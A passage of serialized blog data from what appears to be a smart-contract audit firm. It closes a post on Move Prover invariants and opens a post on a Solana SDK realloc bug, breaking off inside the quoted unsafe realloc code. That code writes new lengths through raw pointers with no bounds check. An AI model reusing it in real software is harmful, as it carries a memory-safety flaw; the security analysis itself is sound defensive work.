5},[14922],{"type":28,"value":9617},{"type":22,"tag":118,"props":14924,"children":14925},{"style":204},[14926],{"type":28,"value":14890},{"type":22,"tag":118,"props":14928,"children":14929},{"style":125},[14930],{"type":28,"value":14931},", signer",{"type":22,"tag":118,"props":14933,"children":14934},{"style":210},[14935],{"type":28,"value":1190},{"type":22,"tag":118,"props":14937,"children":14938},{"style":532},[14939],{"type":28,"value":9216},{"type":22,"tag":118,"props":14941,"children":14942},{"style":125},[14943],{"type":28,"value":540},{"type":22,"tag":118,"props":14945,"children":14946},{"style":204},[14947],{"type":28,"value":2514},{"type":22,"tag":118,"props":14949,"children":14950},{"style":125},[14951],{"type":28,"value":9230},{"type":22,"tag":118,"props":14953,"children":14954},{"class":120,"line":263},[14955,14959,14963,14967,14971,14975,14979,14983,14987,14991],{"type":22,"tag":118,"props":14956,"children":14957},{"style":204},[14958],{"type":28,"value":10191},{"type":22,"tag":118,"props":14960,"children":14961},{"style":210},[14962],{"type":28,"value":2164},{"type":22,"tag":118,"props":14964,"children":14965},{"style":204},[14966],{"type":28,"value":8713},{"type":22,"tag":118,"props":14968,"children":14969},{"style":125},[14970],{"type":28,"value":559},{"type":22,"tag":118,"props":14972,"children":14973},{"style":131},[14974],{"type":28,"value":14872},{"type":22,"tag":118,"props":14976,"children":14977},{"style":125},[14978],{"type":28,"value":559},{"type":22,"tag":118,"props":14980,"children":14981},{"style":131},[14982],{"type":28,"value":14881},{"type":22,"tag":118,"props":14984,"children":14985},{"style":125},[14986],{"type":28,"value":8735},{"type":22,"tag":118,"props":14988,"children":14989},{"style":204},[14990],{"type":28,"value":14890},{"type":22,"tag":118,"props":14992,"children":14993},{"style":125},[14994],{"type":28,"value":682},{"type":22,"tag":118,"props":14996,"children":14997},{"class":120,"line":318},[14998,15002,15006,15010,15015,15019,15024,15028,15032,15036,15040,15044,15048,15052,15056],{"type":22,"tag":118,"props":14999,"children":15000},{"style":204},[15001],{"type":28,"value":10191},{"type":22,"tag":118,"props":15003,"children":15004},{"style":204},[15005],{"type":28,"value":11158},{"type":22,"tag":118,"props":15007,"children":15008},{"style":210},[15009],{"type":28,"value":1780},{"type":22,"tag":118,"props":15011,"children":15012},{"style":532},[15013],{"type":28,"value":15014}," old",{"type":22,"tag":118,"props":15016,"children":15017},{"style":125},[15018],{"type":28,"value":540},{"type":22,"tag":118,"props":15020,"children":15021},{"style":204},[15022],{"type":28,"value":15023},"global",{"type":22,"tag":118,"props":15025,"children":15026},{"style":125},[15027],{"type":28,"value":559},{"type":22,"tag":118,"props":15029,"children":15030},{"style":131},[15031],{"type":28,"value":14872},{"type":22,"tag":118,"props":15033,"children":15034},{"style":125},[15035],{"type":28,"value":559},{"type":22,"tag":118,"props":15037,"children":15038},{"style":131},[15039],{"type":28,"value":14881},{"type":22,"tag":118,"props":15041,"children":15042},{"style":125},[15043],{"type":28,"value":8735},{"type":22,"tag":118,"props":15045,"children":15046},{"style":204},[15047],{"type":28,"value":14890},{"type":22,"tag":118,"props":15049,"children":15050},{"style":125},[15051],{"type":28,"value":3627},{"type":22,"tag":118,"props":15053,"children":15054},{"style":210},[15055],{"type":28,"value":292},{"type":22,"tag":118,"props":15057,"children":15058},{"style":125},[15059],{"type":28,"value":15060},"offered);\n",{"type":22,"tag":118,"props":15062,"children":15063},{"class":120,"line":351},[15064],{"type":22,"tag":118,"props":15065,"children":15066},{"style":125},[15067],{"type":28,"value":1254},{"type":22,"tag":31,"props":15069,"children":15070},{},[15071],{"type":28,"value":15072},"These access control specifications make it impossible to accidentally remove security critical access control policies later.",{"type":22,"tag":1289,"props":15074,"children":15076},{"id":15075},"complex-mathematical-formulae",[15077],{"type":28,"value":15078},"Complex Mathematical Formulae",{"type":22,"tag":31,"props":15080,"children":15081},{},[15082,15084,15089],{"type":28,"value":15083},"Whether it's a decimal implementation or more complex data structures, it's often useful to verify that the expected output is ",{"type":22,"tag":4764,"props":15085,"children":15086},{},[15087],{"type":28,"value":15088},"always",{"type":28,"value":15090}," the output.",{"type":22,"tag":31,"props":15092,"children":15093},{},[15094],{"type":28,"value":15095},"Proving that your fundamental data structures work exactly as intended will give you much more confidence in the remainder of your codebase.",{"type":22,"tag":31,"props":15097,"children":15098},{},[15099,15101,15108],{"type":28,"value":15100},"For example, in our work with ",{"type":22,"tag":42,"props":15102,"children":15105},{"href":15103,"rel":15104},"https://laminar.markets/",[46],[15106],{"type":28,"value":15107},"Laminar Markets",{"type":28,"value":15109},", we provided recommendations for verifying their internal splay tree implementation against a simpler priority queue data structure.",{"type":22,"tag":1289,"props":15111,"children":15113},{"id":15112},"data-invariants",[15114],{"type":28,"value":15115},"Data Invariants",{"type":22,"tag":31,"props":15117,"children":15118},{},[15119,15121,15127,15129,15135,15137,15143,15145,15151],{"type":28,"value":15120},"Formal verification provides the best environment to verify that certain ",{"type":22,"tag":114,"props":15122,"children":15124},{"className":15123},[],[15125],{"type":28,"value":15126},"variables",{"type":28,"value":15128}," or ",{"type":22,"tag":114,"props":15130,"children":15132},{"className":15131},[],[15133],{"type":28,"value":15134},"resources",{"type":28,"value":15136}," don't exceed the intended boundaries. Let's consider the struct from below. We can ensure that ",{"type":22,"tag":114,"props":15138,"children":15140},{"className":15139},[],[15141],{"type":28,"value":15142},"index",{"type":28,"value":15144}," is never greater than 4 using a ",{"type":22,"tag":114,"props":15146,"children":15148},{"className":15147},[],[15149],{"type":28,"value":15150},"struct invariant",{"type":28,"value":292},{"type":22,"tag":107,"props":15153,"children":15155},{"code":15154,"language":111,"meta":7,"className":109,"style":7},"struct Type {\n    index: u64\n}\n\nspec Type {\n    invariant index \u003C 4;\n}\n",[15156],{"type":22,"tag":114,"props":15157,"children":15158},{"__ignoreMap":7},[15159,15175,15192,15199,15206,15221,15245],{"type":22,"tag":118,"props":15160,"children":15161},{"class":120,"line":121},[15162,15166,15171],{"type":22,"tag":118,"props":15163,"children":15164},{"style":146},[15165],{"type":28,"value":11399},{"type":22,"tag":118,"props":15167,"children":15168},{"style":131},[15169],{"type":28,"value":15170}," Type",{"type":22,"tag":118,"props":15172,"children":15173},{"style":125},[15174],{"type":28,"value":1474},{"type":22,"tag":118,"props":15176,"children":15177},{"class":120,"line":142},[15178,15183,15187],{"type":22,"tag":118,"props":15179,"children":15180},{"style":204},[15181],{"type":28,"value":15182},"    index",{"type":22,"tag":118,"props":15184,"children":15185},{"style":210},[15186],{"type":28,"value":213},{"type":22,"tag":118,"props":15188,"children":15189},{"style":131},[15190],{"type":28,"value":15191}," u64\n",{"type":22,"tag":118,"props":15193,"children":15194},{"class":120,"line":177},[15195],{"type":22,"tag":118,"props":15196,"children":15197},{"style":125},[15198],{"type":28,"value":481},{"type":22,"tag":118,"props":15200,"children":15201},{"class":120,"line":195},[15202],{"type":22,"tag":118,"props":15203,"children":15204},{"emptyLinePlaceholder":15},[15205],{"type":28,"value":250},{"type":22,"tag":118,"props":15207,"children":15208},{"class":120,"line":244},[15209,15213,15217],{"type":22,"tag":118,"props":15210,"children":15211},{"style":204},[15212],{"type":28,"value":10278},{"type":22,"tag":118,"props":15214,"children":15215},{"style":131},[15216],{"type":28,"value":15170},{"type":22,"tag":118,"props":15218,"children":15219},{"style":125},[15220],{"type":28,"value":1474},{"type":22,"tag":118,"props":15222,"children":15223},{"class":120,"line":253},[15224,15228,15233,15237,15241],{"type":22,"tag":118,"props":15225,"children":15226},{"style":204},[15227],{"type":28,"value":10295},{"type":22,"tag":118,"props":15229,"children":15230},{"style":204},[15231],{"type":28,"value":15232}," index",{"type":22,"tag":118,"props":15234,"children":15235},{"style":210},[15236],{"type":28,"value":2197},{"type":22,"tag":118,"props":15238,"children":15239},{"style":674},[15240],{"type":28,"value":13745},{"type":22,"tag":118,"props":15242,"children":15243},{"style":125},[15244],{"type":28,"value":801},{"type":22,"tag":118,"props":15246,"children":15247},{"class":120,"line":263},[15248],{"type":22,"tag":118,"props":15249,"children":15250},{"style":125},[15251],{"type":28,"value":481},{"type":22,"tag":31,"props":15253,"children":15254},{},[15255,15257,15264,15265,15271],{"type":28,"value":15256},"We were able to verify more complex properties in our recent audits for ",{"type":22,"tag":42,"props":15258,"children":15261},{"href":15259,"rel":15260},"https://layerzero.network/",[46],[15262],{"type":28,"value":15263},"LayerZero",{"type":28,"value":12991},{"type":22,"tag":42,"props":15266,"children":15269},{"href":15267,"rel":15268},"http://ariesmarkets.xyz/",[46],[15270],{"type":28,"value":8798},{"type":28,"value":15272},", but the details are left as an exercise to the reader.",{"type":22,"tag":1289,"props":15274,"children":15276},{"id":15275},"economic-invariants",[15277],{"type":28,"value":15278},"Economic Invariants.",{"type":22,"tag":31,"props":15280,"children":15281},{},[15282],{"type":28,"value":15283},"Proper economic invariants can require more creativity to come up with but can be extremely effective at securing your protocol.",{"type":22,"tag":31,"props":15285,"children":15286},{},[15287],{"type":28,"value":15288},"For example, you should never be able to drain coins from a pool by adding and removing shares. In practice, you might implement this as a utility helper function.",{"type":22,"tag":107,"props":15290,"children":15291},{"code":9971,"language":111,"meta":7,"className":109,"style":7},[15292],{"type":22,"tag":114,"props":15293,"children":15294},{"__ignoreMap":7},[15295,15302,15385,15424,15443,15450,15465,15488,15511,15534],{"type":22,"tag":118,"props":15296,"children":15297},{"class":120,"line":121},[15298],{"type":22,"tag":118,"props":15299,"children":15300},{"style":257},[15301],{"type":28,"value":9983},{"type":22,"tag":118,"props":15303,"children":15304},{"class":120,"line":142},[15305,15309,15313,15317,15321,15325,15329,15333,15337,15341,15345,15349,15353,15357,15361,15365,15369,15373,15377,15381],{"type":22,"tag":118,"props":15306,"children":15307},{"style":204},[15308],{"type":28,"value":8579},{"type":22,"tag":118,"props":15310,"children":15311},{"style":532},[15312],{"type":28,"value":9995},{"type":22,"tag":118,"props":15314,"children":15315},{"style":125},[15316],{"type":28,"value":540},{"type":22,"tag":118,"props":15318,"children":15319},{"style":204},[15320],{"type":28,"value":10004},{"type":22,"tag":118,"props":15322,"children":15323},{"style":210},[15324],{"type":28,"value":213},{"type":22,"tag":118,"props":15326,"children":15327},{"style":131},[15328],{"type":28,"value":583},{"type":22,"tag":118,"props":15330,"children":15331},{"style":125},[15332],{"type":28,"value":231},{"type":22,"tag":118,"props":15334,"children":15335},{"style":204},[15336],{"type":28,"value":10021},{"type":22,"tag":118,"props":15338,"children":15339},{"style":210},[15340],{"type":28,"value":213},{"type":22,"tag":118,"props":15342,"children":15343},{"style":131},[15344],{"type":28,"value":583},{"type":22,"tag":118,"props":15346,"children":15347},{"style":125},[15348],{"type":28,"value":3627},{"type":22,"tag":118,"props":15350,"children":15351},{"style":210},[15352],{"type":28,"value":213},{"type":22,"tag":118,"props":15354,"children":15355},{"style":125},[15356],{"type":28,"value":842},{"type":22,"tag":118,"props":15358,"children":15359},{"style":131},[15360],{"type":28,"value":10046},{"type":22,"tag":118,"props":15362,"children":15363},{"style":125},[15364],{"type":28,"value":231},{"type":22,"tag":118,"props":15366,"children":15367},{"style":131},[15368],{"type":28,"value":10046},{"type":22,"tag":118,"props":15370,"children":15371},{"style":125},[15372],{"type":28,"value":588},{"type":22,"tag":118,"props":15374,"children":15375},{"style":204},[15376],{"type":28,"value":8353},{"type":22,"tag":118,"props":15378,"children":15379},{"style":131},[15380],{"type":28,"value":10067},{"type":22,"tag":118,"props":15382,"children":15383},{"style":125},[15384],{"type":28,"value":1474},{"type":22,"tag":118,"props":15386,"children":15387},{"class":120,"line":177},[15388,15392,15396,15400,15404,15408,15412,15416,15420],{"type":22,"tag":118,"props":15389,"children":15390},{"style":146},[15391],{"type":28,"value":10079},{"type":22,"tag":118,"props":15393,"children":15394},{"style":204},[15395],{"type":28,"value":10084},{"type":22,"tag":118,"props":15397,"children":15398},{"style":210},[15399],{"type":28,"value":837},{"type":22,"tag":118,"props":15401,"children":15402},{"style":532},[15403],{"type":28,"value":10093},{"type":22,"tag":118,"props":15405,"children":15406},{"style":125},[15407],{"type":28,"value":540},{"type":22,"tag":118,"props":15409,"children":15410},{"style":204},[15411],{"type":28,"value":10004},{"type":22,"tag":118,"props":15413,"children":15414},{"style":125},[15415],{"type":28,"value":231},{"type":22,"tag":118,"props":15417,"children":15418},{"style":204},[15419],{"type":28,"value":10021},{"type":22,"tag":118,"props":15421,"children":15422},{"style":125},[15423],{"type":28,"value":682},{"type":22,"tag":118,"props":15425,"children":15426},{"class":120,"line":195},[15427,15431,15435,15439],{"type":22,"tag":118,"props":15428,"children":15429},{"style":532},[15430],{"type":28,"value":10121},{"type":22,"tag":118,"props":15432,"children":15433},{"style":125},[15434],{"type":28,"value":540},{"type":22,"tag":118,"props":15436,"children":15437},{"style":204},[15438],{"type":28,"value":10130},{"type":22,"tag":118,"props":15440,"children":15441},{"style":125},[15442],{"type":28,"value":3665},{"type":22,"tag":118,"props":15444,"children":15445},{"class":120,"line":244},[15446],{"type":22,"tag":118,"props":15447,"children":15448},{"style":125},[15449],{"type":28,"value":7881},{"type":22,"tag":118,"props":15451,"children":15452},{"class":120,"line":253},[15453,15457,15461],{"type":22,"tag":118,"props":15454,"children":15455},{"style":204},[15456],{"type":28,"value":10149},{"type":22,"tag":118,"props":15458,"children":15459},{"style":204},[15460],{"type":28,"value":9995},{"type":22,"tag":118,"props":15462,"children":15463},{"style":125},[15464],{"type":28,"value":1474},{"type":22,"tag":118,"props":15466,"children":15467},{"class":120,"line":263},[15468,15472,15476,15480,15484],{"type":22,"tag":118,"props":15469,"children":15470},{"style":204},[15471],{"type":28,"value":10165},{"type":22,"tag":118,"props":15473,"children":15474},{"style":204},[15475],{"type":28,"value":10170},{"type":22,"tag":118,"props":15477,"children":15478},{"style":210},[15479],{"type":28,"value":282},{"type":22,"tag":118,"props":15481,"children":15482},{"style":146},[15483],{"type":28,"value":10179},{"type":22,"tag":118,"props":15485,"children":15486},{"style":125},[15487],{"type":28,"value":801},{"type":22,"tag":118,"props":15489,"children":15490},{"class":120,"line":318},[15491,15495,15499,15503,15507],{"type":22,"tag":118,"props":15492,"children":15493},{"style":204},[15494],{"type":28,"value":10191},{"type":22,"tag":118,"props":15496,"children":15497},{"style":204},[15498],{"type":28,"value":10196},{"type":22,"tag":118,"props":15500,"children":15501},{"style":210},[15502],{"type":28,"value":1798},{"type":22,"tag":118,"props":15504,"children":15505},{"style":204},[15506],{"type":28,"value":10205},{"type":22,"tag":118,"props":15508,"children":15509},{"style":125},[15510],{"type":28,"value":801},{"type":22,"tag":118,"props":15512,"children":15513},{"class":120,"line":351},[15514,15518,15522,15526,15530],{"type":22,"tag":118,"props":15515,"children":15516},{"style":204},[15517],{"type":28,"value":10191},{"type":22,"tag":118,"props":15519,"children":15520},{"style":204},[15521],{"type":28,"value":10221},{"type":22,"tag":118,"props":15523,"children":15524},{"style":210},[15525],{"type":28,"value":1798},{"type":22,"tag":118,"props":15527,"children":15528},{"style":204},[15529],{"type":28,"value":10230},{"type":22,"tag":118,"props":15531,"children":15532},{"style":125},[15533],{"type":28,"value":801},{"type":22,"tag":118,"props":15535,"children":15536},{"class":120,"line":359},[15537],{"type":22,"tag":118,"props":15538,"children":15539},{"style":125},[15540],{"type":28,"value":7881},{"type":22,"tag":31,"props":15542,"children":15543},{},[15544],{"type":28,"value":15545},"Some other ideas include",{"type":22,"tag":4029,"props":15547,"children":15548},{},[15549,15554,15559],{"type":22,"tag":68,"props":15550,"children":15551},{},[15552],{"type":28,"value":15553},"Swapping through an AMM should never lead to a decrease in one side of the pool without also increasing the other side. In other words, no free money",{"type":22,"tag":68,"props":15555,"children":15556},{},[15557],{"type":28,"value":15558},"Lending protocols should always be fully collateralized after a series of deposit, borrow, and withdraw instructions.",{"type":22,"tag":68,"props":15560,"children":15561},{},[15562],{"type":28,"value":15563},"Orderbooks should never lose money after an order is placed and then canceled.",{"type":22,"tag":23,"props":15565,"children":15566},{"id":7321},[15567],{"type":28,"value":7324},{"type":22,"tag":31,"props":15569,"children":15570},{},[15571],{"type":28,"value":15572},"In this post, we've explored how to properly utilize the Move Prover to verify critical invariants about your codebase.",{"type":22,"tag":31,"props":15574,"children":15575},{},[15576],{"type":28,"value":15577},"In our upcoming posts, we will explore how to turn the Move Prover into a weapon for squashing security vulnerabilities by learning how to ask the right questions, so stay tuned!",{"type":22,"tag":31,"props":15579,"children":15580},{},[15581,15583,15588],{"type":28,"value":15582},"We're passionate about formal verification and pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":22,"tag":42,"props":15584,"children":15586},{"href":11239,"rel":15585},[46],[15587],{"type":28,"value":11243},{"type":28,"value":292},{"type":22,"tag":4880,"props":15590,"children":15591},{},[15592],{"type":28,"value":4884},{"title":7,"searchDepth":142,"depth":142,"links":15594},[15595,15596,15599,15606],{"id":11303,"depth":142,"text":11306},{"id":11357,"depth":142,"text":11360,"children":15597},[15598],{"id":11608,"depth":177,"text":11604},{"id":14505,"depth":142,"text":14508,"children":15600},[15601,15602,15603,15604,15605],{"id":14521,"depth":177,"text":14524},{"id":14772,"depth":177,"text":14775},{"id":15075,"depth":177,"text":15078},{"id":15112,"depth":177,"text":15115},{"id":15275,"depth":177,"text":15278},{"id":7321,"depth":142,"text":7324},"content:blog:2022-09-16-move-prover.md","blog/2022-09-16-move-prover.md","blog/2022-09-16-move-prover",{"_path":15611,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":15612,"description":15613,"author":15614,"image":15615,"date":15618,"isFeatured":15,"onBlogPage":15,"tags":15619,"body":15620,"_type":4896,"_id":20709,"_source":4898,"_file":20710,"_stem":20711,"_extension":4901},"/blog/2022-12-09-rust-realloc-and-references","Rust, Realloc, and References","Rust is safe.. right? Not if your dependencies are unsafe.. A deep dive into a subtle Solana SDK bug, Rust internals, and how we found it all.","ethan",{"src":15616,"height":15617,"width":13},"/posts/rust-realloc-and-references/title.jpg",512,"2022-12-09",[4913,11267],{"type":19,"children":15621,"toc":20693},[15622,15650,15670,16326,16346,16357,16369,16502,16512,16518,16544,16882,16926,17252,17314,17327,17400,17468,17488,17501,17515,17857,17868,17873,18004,18055,18081,18093,18266,18401,18442,18479,18544,18549,18586,18640,18651,18794,18806,18812,18818,18851,18865,18987,19006,19034,19040,19130,19220,19226,19231,19278,19547,19622,19633,19660,19992,20004,20077,20350,20387,20689],{"type":22,"tag":31,"props":15623,"children":15624},{},[15625,15627,15633,15635,15640,15642,15648],{"type":28,"value":15626},"It all started with an audit of a program that used ",{"type":22,"tag":114,"props":15628,"children":15630},{"className":15629},[],[15631],{"type":28,"value":15632},"realloc",{"type":28,"value":15634}," on an account, without any bounds checks on the new size allowed. It seemed like the developers assumed that if the new size was too large, the ",{"type":22,"tag":114,"props":15636,"children":15638},{"className":15637},[],[15639],{"type":28,"value":15632},{"type":28,"value":15641}," call (from ",{"type":22,"tag":114,"props":15643,"children":15645},{"className":15644},[],[15646],{"type":28,"value":15647},"solana_program",{"type":28,"value":15649},") would error out appropriately.",{"type":22,"tag":31,"props":15651,"children":15652},{},[15653,15655,15661,15662,15669],{"type":28,"value":15654},"But we're not ones to just assume things around here, so let's take a look at how ",{"type":22,"tag":114,"props":15656,"children":15658},{"className":15657},[],[15659],{"type":28,"value":15660},"AccountInfo::realloc",{"type":28,"value":7511},{"type":22,"tag":42,"props":15663,"children":15666},{"href":15664,"rel":15665},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#124-148",[46],[15667],{"type":28,"value":15668},"implemented",{"type":28,"value":213},{"type":22,"tag":107,"props":15671,"children":15673},{"className":109,"code":15672,"language":111,"meta":7,"style":7},"pub fn realloc(&self, new_len: usize, zero_init: bool) -> Result\u003C(), ProgramError> {\n    let orig_len = self.data_len();\n\n    // realloc\n    unsafe {\n        // First set new length in the serialized data\n        let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n        *ptr = new_len as u64;\n\n        // Then set the new length in the local slice\n        let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n        *ptr = new_len as u64;\n    }\n\n    // zero-init if requested\n    if zero_init && new_len > orig_len {\n        sol_memset(\n            &mut self.try_borrow_mut_data()?[orig_len..],\n            0,\n            new_len.saturating_sub(orig_len),\n        );\n    }\n\n    Ok(())\n}\n",[15674],{"type":22,"tag":114,"props":15675,"children":15676},{"__ignoreMap":7},[15677,15764,15796,15803,15811,15823,15831,15922,15955,15962,15970,16099,16130,16137,16144,16152,16185,16197,16246,16258,16287,16294,16301,16308,16319],{"type":22,"tag":118,"props":15678,"children":15679},{"class":120,"line":121},[15680,15684,15688,15693,15697,15701,15705,15709,15714,15718,15722,15726,15731,15735,15739,15743,15747,15751,15755,15760],{"type":22,"tag":118,"props":15681,"children":15682},{"style":146},[15683],{"type":28,"value":149},{"type":22,"tag":118,"props":15685,"children":15686},{"style":146},[15687],{"type":28,"value":529},{"type":22,"tag":118,"props":15689,"children":15690},{"style":532},[15691],{"type":28,"value":15692}," realloc",{"type":22,"tag":118,"props":15694,"children":15695},{"style":125},[15696],{"type":28,"value":540},{"type":22,"tag":118,"props":15698,"children":15699},{"style":210},[15700],{"type":28,"value":1407},{"type":22,"tag":118,"props":15702,"children":15703},{"style":146},[15704],{"type":28,"value":1412},{"type":22,"tag":118,"props":15706,"children":15707},{"style":125},[15708],{"type":28,"value":231},{"type":22,"tag":118,"props":15710,"children":15711},{"style":204},[15712],{"type":28,"value":15713},"new_len",{"type":22,"tag":118,"props":15715,"children":15716},{"style":210},[15717],{"type":28,"value":213},{"type":22,"tag":118,"props":15719,"children":15720},{"style":131},[15721],{"type":28,"value":3946},{"type":22,"tag":118,"props":15723,"children":15724},{"style":125},[15725],{"type":28,"value":231},{"type":22,"tag":118,"props":15727,"children":15728},{"style":204},[15729],{"type":28,"value":15730},"zero_init",{"type":22,"tag":118,"props":15732,"children":15733},{"style":210},[15734],{"type":28,"value":213},{"type":22,"tag":118,"props":15736,"children":15737},{"style":131},[15738],{"type":28,"value":1469},{"type":22,"tag":118,"props":15740,"children":15741},{"style":125},[15742],{"type":28,"value":588},{"type":22,"tag":118,"props":15744,"children":15745},{"style":210},[15746],{"type":28,"value":593},{"type":22,"tag":118,"props":15748,"children":15749},{"style":131},[15750],{"type":28,"value":598},{"type":22,"tag":118,"props":15752,"children":15753},{"style":125},[15754],{"type":28,"value":2134},{"type":22,"tag":118,"props":15756,"children":15757},{"style":131},[15758],{"type":28,"value":15759},"ProgramError",{"type":22,"tag":118,"props":15761,"children":15762},{"style":125},[15763],{"type":28,"value":174},{"type":22,"tag":118,"props":15765,"children":15766},{"class":120,"line":142},[15767,15771,15776,15780,15784,15788,15792],{"type":22,"tag":118,"props":15768,"children":15769},{"style":146},[15770],{"type":28,"value":4152},{"type":22,"tag":118,"props":15772,"children":15773},{"style":204},[15774],{"type":28,"value":15775}," orig_len",{"type":22,"tag":118,"props":15777,"children":15778},{"style":210},[15779],{"type":28,"value":837},{"type":22,"tag":118,"props":15781,"children":15782},{"style":146},[15783],{"type":28,"value":2100},{"type":22,"tag":118,"props":15785,"children":15786},{"style":210},[15787],{"type":28,"value":292},{"type":22,"tag":118,"props":15789,"children":15790},{"style":532},[15791],{"type":28,"value":3300},{"type":22,"tag":118,"props":15793,"children":15794},{"style":125},[15795],{"type":28,"value":1098},{"type":22,"tag":118,"props":15797,"children":15798},{"class":120,"line":177},[15799],{"type":22,"tag":118,"props":15800,"children":15801},{"emptyLinePlaceholder":15},[15802],{"type":28,"value":250},{"type":22,"tag":118,"props":15804,"children":15805},{"class":120,"line":195},[15806],{"type":22,"tag":118,"props":15807,"children":15808},{"style":257},[15809],{"type":28,"value":15810},"    // realloc\n",{"type":22,"tag":118,"props":15812,"children":15813},{"class":120,"line":244},[15814,15819],{"type":22,"tag":118,"props":15815,"children":15816},{"style":146},[15817],{"type":28,"value":15818},"    unsafe",{"type":22,"tag":118,"props":15820,"children":15821},{"style":125},[15822],{"type":28,"value":1474},{"type":22,"tag":118,"props":15824,"children":15825},{"class":120,"line":253},[15826],{"type":22,"tag":118,"props":15827,"children":15828},{"style":257},[15829],{"type":28,"value":15830},"        // First set new length in the serialized data\n",{"type":22,"tag":118,"props":15832,"children":15833},{"class":120,"line":263},[15834,15838,15843,15847,15851,15855,15860,15864,15868,15873,15877,15881,15886,15890,15894,15898,15902,15906,15910,15914,15918],{"type":22,"tag":118,"props":15835,"children":15836},{"style":146},[15837],{"type":28,"value":827},{"type":22,"tag":118,"props":15839,"children":15840},{"style":204},[15841],{"type":28,"value":15842}," ptr",{"type":22,"tag":118,"props":15844,"children":15845},{"style":210},[15846],{"type":28,"value":837},{"type":22,"tag":118,"props":15848,"children":15849},{"style":146},[15850],{"type":28,"value":2100},{"type":22,"tag":118,"props":15852,"children":15853},{"style":210},[15854],{"type":28,"value":292},{"type":22,"tag":118,"props":15856,"children":15857},{"style":532},[15858],{"type":28,"value":15859},"try_borrow_mut_data",{"type":22,"tag":118,"props":15861,"children":15862},{"style":125},[15863],{"type":28,"value":1200},{"type":22,"tag":118,"props":15865,"children":15866},{"style":210},[15867],{"type":28,"value":1205},{"type":22,"tag":118,"props":15869,"children":15870},{"style":532},[15871],{"type":28,"value":15872},"as_mut_ptr",{"type":22,"tag":118,"props":15874,"children":15875},{"style":125},[15876],{"type":28,"value":1200},{"type":22,"tag":118,"props":15878,"children":15879},{"style":210},[15880],{"type":28,"value":292},{"type":22,"tag":118,"props":15882,"children":15883},{"style":532},[15884],{"type":28,"value":15885},"offset",{"type":22,"tag":118,"props":15887,"children":15888},{"style":125},[15889],{"type":28,"value":540},{"type":22,"tag":118,"props":15891,"children":15892},{"style":210},[15893],{"type":28,"value":6340},{"type":22,"tag":118,"props":15895,"children":15896},{"style":674},[15897],{"type":28,"value":6090},{"type":22,"tag":118,"props":15899,"children":15900},{"style":125},[15901],{"type":28,"value":588},{"type":22,"tag":118,"props":15903,"children":15904},{"style":146},[15905],{"type":28,"value":1215},{"type":22,"tag":118,"props":15907,"children":15908},{"style":210},[15909],{"type":28,"value":11815},{"type":22,"tag":118,"props":15911,"children":15912},{"style":146},[15913],{"type":28,"value":188},{"type":22,"tag":118,"props":15915,"children":15916},{"style":131},[15917],{"type":28,"value":583},{"type":22,"tag":118,"props":15919,"children":15920},{"style":125},[15921],{"type":28,"value":801},{"type":22,"tag":118,"props":15923,"children":15924},{"class":120,"line":318},[15925,15929,15934,15938,15943,15947,15951],{"type":22,"tag":118,"props":15926,"children":15927},{"style":210},[15928],{"type":28,"value":9756},{"type":22,"tag":118,"props":15930,"children":15931},{"style":204},[15932],{"type":28,"value":15933},"ptr",{"type":22,"tag":118,"props":15935,"children":15936},{"style":210},[15937],{"type":28,"value":837},{"type":22,"tag":118,"props":15939,"children":15940},{"style":204},[15941],{"type":28,"value":15942}," new_len",{"type":22,"tag":118,"props":15944,"children":15945},{"style":146},[15946],{"type":28,"value":10829},{"type":22,"tag":118,"props":15948,"children":15949},{"style":131},[15950],{"type":28,"value":583},{"type":22,"tag":118,"props":15952,"children":15953},{"style":125},[15954],{"type":28,"value":801},{"type":22,"tag":118,"props":15956,"children":15957},{"class":120,"line":351},[15958],{"type":22,"tag":118,"props":15959,"children":15960},{"emptyLinePlaceholder":15},[15961],{"type":28,"value":250},{"type":22,"tag":118,"props":15963,"children":15964},{"class":120,"line":359},[15965],{"type":22,"tag":118,"props":15966,"children":15967},{"style":257},[15968],{"type":28,"value":15969},"        // Then set the new length in the local slice\n",{"type":22,"tag":118,"props":15971,"children":15972},{"class":120,"line":368},[15973,15977,15981,15985,15989,15993,15997,16002,16006,16010,16014,16018,16023,16027,16031,16035,16039,16043,16047,16051,16055,16059,16063,16067,16071,16075,16079,16083,16087,16091,16095],{"type":22,"tag":118,"props":15974,"children":15975},{"style":146},[15976],{"type":28,"value":827},{"type":22,"tag":118,"props":15978,"children":15979},{"style":204},[15980],{"type":28,"value":15842},{"type":22,"tag":118,"props":15982,"children":15983},{"style":210},[15984],{"type":28,"value":837},{"type":22,"tag":118,"props":15986,"children":15987},{"style":210},[15988],{"type":28,"value":1430},{"type":22,"tag":118,"props":15990,"children":15991},{"style":146},[15992],{"type":28,"value":188},{"type":22,"tag":118,"props":15994,"children":15995},{"style":210},[15996],{"type":28,"value":11815},{"type":22,"tag":118,"props":15998,"children":15999},{"style":125},[16000],{"type":28,"value":16001},"(((",{"type":22,"tag":118,"props":16003,"children":16004},{"style":146},[16005],{"type":28,"value":1412},{"type":22,"tag":118,"props":16007,"children":16008},{"style":210},[16009],{"type":28,"value":292},{"type":22,"tag":118,"props":16011,"children":16012},{"style":125},[16013],{"type":28,"value":5715},{"type":22,"tag":118,"props":16015,"children":16016},{"style":210},[16017],{"type":28,"value":292},{"type":22,"tag":118,"props":16019,"children":16020},{"style":532},[16021],{"type":28,"value":16022},"as_ptr",{"type":22,"tag":118,"props":16024,"children":16025},{"style":125},[16026],{"type":28,"value":2182},{"type":22,"tag":118,"props":16028,"children":16029},{"style":146},[16030],{"type":28,"value":1215},{"type":22,"tag":118,"props":16032,"children":16033},{"style":210},[16034],{"type":28,"value":11815},{"type":22,"tag":118,"props":16036,"children":16037},{"style":146},[16038],{"type":28,"value":11653},{"type":22,"tag":118,"props":16040,"children":16041},{"style":131},[16042],{"type":28,"value":583},{"type":22,"tag":118,"props":16044,"children":16045},{"style":125},[16046],{"type":28,"value":3627},{"type":22,"tag":118,"props":16048,"children":16049},{"style":210},[16050],{"type":28,"value":292},{"type":22,"tag":118,"props":16052,"children":16053},{"style":532},[16054],{"type":28,"value":15885},{"type":22,"tag":118,"props":16056,"children":16057},{"style":125},[16058],{"type":28,"value":540},{"type":22,"tag":118,"props":16060,"children":16061},{"style":674},[16062],{"type":28,"value":6026},{"type":22,"tag":118,"props":16064,"children":16065},{"style":125},[16066],{